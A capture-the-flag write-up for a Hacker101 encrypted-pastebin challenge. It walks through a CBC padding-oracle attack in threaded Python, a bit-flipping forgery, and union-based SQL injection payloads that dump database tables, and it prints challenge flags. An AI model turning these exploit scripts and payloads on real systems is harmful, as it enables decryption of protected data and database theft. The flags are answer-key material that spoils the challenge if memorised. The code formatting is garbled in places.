To my surprise, this is a three years lasting journey on solving this challenge …
This is an interesting challenge combined several simple technique and is well worth solving!
Write Up
This is a web application which has a posting function just like Pastebin, after you sent a post, it would generate a unique key for that post, you can see the post only if you have the right key in the url.
Also, base on the paragraph in the home page, the key is probably generated with AES-128 CBC Mode.
RECON
A url example is down below. https://669099f2c694bc3cf1c1f5ae19016f77.ctf.hacker101.com/?post=KWJlR2cCCcGYhMBdPSotLiWdHcoNMiYSSTNoRL9zfRTLGTFdFdu9xBxiXc9SJFQ5NEGkB90mbkF-zvdqnoT4X2fQykzaXWCMY7CX3IwyYXRnAAICk4d98bTrUHXRVENpfQ5sANV9fGIDT-eWO4EUD4H2nSL5egynC6TAfEXoRzs92SQLeu7V1JLc06I5-WraCOH38VOdkr-jmQYRZ!cgTQ~~ First of all, I tried to change the key value and observe the response.
But after I simply added an ‘a’ to the front of the ‘post’ param, I got a response like this…
First flag gotten!
How if I change the key into a single character ‘a’?
deffind_byte_range(iv, mess, cur, now, start, end, result): for k inrange(start, end): if oracle(iv[:now] + bytes([k]) + xor(cur, iv[now+1:], chr(16-now).encode()*(15-now)) + mess): result.append(k) break
for i in trange(0, len(cur_param)-16, 16): iv, mess = cur_param[i:i+16], cur_param[i+16:i+32] for j in trange(16): now = 15 - j threads = [] result = [] step = 256 // 32 for t inrange(32): start = t * step end = (t + 1) * step if t != 31else256 thread = threading.Thread(target=find_byte_range, args=(iv, mess, cur, now, start, end, result)) threads.append(thread) thread.start()
for thread in threads: thread.join() if result: k = result[0] if now == 15: if k != iv[15]: cur = xor(k, iv[15], 1) + cur else: cur = xor(k, iv[now], (16-now)) + cur # print(cur)
ans += cur print(ans) cur = b''
After I extracted the data, I got my second flag and known that is a json format data! {"flag": "^FLAG^5dc0bd44bc917ef1ab7e76de1be3f8d213c7d324acd52409b92ab8ce1764623e$FLAG$", "id": "2", "key": "FJRyMS3Ib4aor0M9RPTfcQ~~"}
Well, speaking honestly, I had a wrong idea that the CBC key is just the extracted key in the json data, but after I tried to decrypt the message directly through the IV value and that suspecious key, I known that I’m wrong QwQ…
Bit flipping
I tried to modify the data into {"id":"1"}, and this can be done through a simple bit flipping attack. Take a quick review on CBC MODE process:
It’s trivial that I can get the raw decrypted value for the first block (or any other block) of the oringinal ciphertext through an XOR operation with the IV value and the first block of the ciphertext.
So the flipping payload should be: xor(initial_IV, b'{"flag": "^FLAG^', b'{"id":"1"}')+the_first_block_of_the_ciphertext
How can I do if I want to generate a payload with a length larger than 16?
A quick reminder: Before moving forward to this, how to get the raw decrypted value for a block of any ciphertext? Padding Oracle Again Since it’s feasible to decrypt any block, downbelow is my solving process: take the last block of ciphertext as a value which I already known it's raw decrypted value. -> The further block should be the xored value of the raw content I want to put with that block of ciphertext -> decrypt the value of the further block And after repeating these steps, I can modify any messages I want to put and try some SQL Injection!
solve.py The wanted variable is the SQL Injection(Union base) payload in json format.
deffind_byte_range(x, suf, i, start, end, result): for j inrange(start, end): cur_suf = b'\x01' * (16 - i) + bytes([j]) + xor(suf, bytes([i^(i-1)] * (i - 1))) if oracle(cur_suf + x): result.append(j) break
defbrute_init(x): cur = b'' suf = b'' for i in trange(1, 17): threads = [] result = []
step = 256 // 64 for t inrange(64): start = t * step end = (t + 1) * step if t != 63else256 thread = threading.Thread(target=find_byte_range, args=(x, suf, i, start, end, result)) threads.append(thread) thread.start()
# known value last=cur_param[16:32] known=xor(cur_param[:16], b'{"flag": "^FLAG^')
# Brute Forcing init dec value #print(brute_init(b'`\x8c\xa9\xb0\xe0cp\xff\x05\xf9>\xe6Q\xfa\xc1\xbf')) # len(b'{"id": "7 UNION SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database() #"}') ''' wanted=b'{"id": "7 UNION SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database() #"}' '''
# wanted=b'{"id":"1", "meow":"meow"}' # wanted=b'{"id":"7 UNION SELECT group_concat(database()), 1"}' # wanted=b'{"id": "7 UNION SELECT group_concat(table_name), 1 FROM information_schema.tables WHERE table_schema=database()"}' # wanted=b'{"id":"7 UNION SELECT group_concat(column_name), 1 FROM information_schema.columns WHERE table_name=\'tracking\'"}' wanted=b'{"id":"7 UNION SELECT group_concat(headers), 1 FROM tracking"}' wanted=pad(wanted) print(len(wanted), wanted)
payload=last
for i inrange(len(wanted), 16, -16): payload=xor(known[:16], wanted[i-16:i])+payload known=brute_init(payload[:16])+known
Gaining database names {"id":"7 UNION SELECT group_concat(database()), 1"}
Gaining table names {"id": "7 UNION SELECT group_concat(table_name), 1 FROM information_schema.tables WHERE table_schema=database()"}
Gaining column names for table tracking {"id":"7 UNION SELECT group_concat(column_name), 1 FROM information_schema.columns WHERE table_name='tracking'"}
Extract Header datas from table tracking {"id":"7 UNION SELECT group_concat(headers), 1 FROM tracking"}
And finally, go to the dumped url from table ‘tracking’ and get the last flag!